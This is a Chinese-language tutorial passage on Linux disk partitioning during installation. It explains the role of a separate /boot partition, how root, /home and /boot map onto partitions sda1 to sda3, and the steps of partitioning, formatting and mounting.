    还有一个推荐的分区,/boot(启动分区,大小一般为200MB,ps:现在可能更大了),用来保存启动时需要的数据,如果不进行boot分区的话,当所有的数据(包含启动数据)填满了跟分区之后,系统很有可能无法启动。有了boot分区,就能保证系统任何时候

  都有空余的空间,以保证系统的正常启动。

 

五、Linux的文件系统结构。

    

      

 

      如上图所示,根分区是可以单独的分配一个磁盘空间,根分区下的/home目录和/boot目录也可单独分配磁盘空间,往根分区下写入数据时,是写入sda3当中的(上图左边的etc目录就是保存在sda3当中的),往/home中写入数据时,最终是往

    sda2中写入数据;boot目录也是一样的。并且,boot分区默认会占用sda1分区,这是因为boot分区是启动分区,系统系统时会从1分区开始扫描启动文件,这样可以加快启动速度。

 终上所述,Linux系统的安装过程经过了以下几个步骤:先给系统进行分区,分完区之后需要对硬盘进行格式化,然后需要给每个分区指定一个设备文件名,最后给每个分区分配一个挂载点,这个分区就可以正常使用了。

今天关于Linux系统安全保护四个关键点linux有哪些安全机制保证系统安全的介绍到此结束,谢谢您的阅读,有关14个Linux系统安全小妙招,总有一招用的上!、ATT&CK矩阵 linux系统安全实践、Linux 中的影子文件:保障系统安全的关键、Linux学习第一篇之Linux系统安装——系统分区等更多相关知识的信息可以在本站进行查询。

本文标签: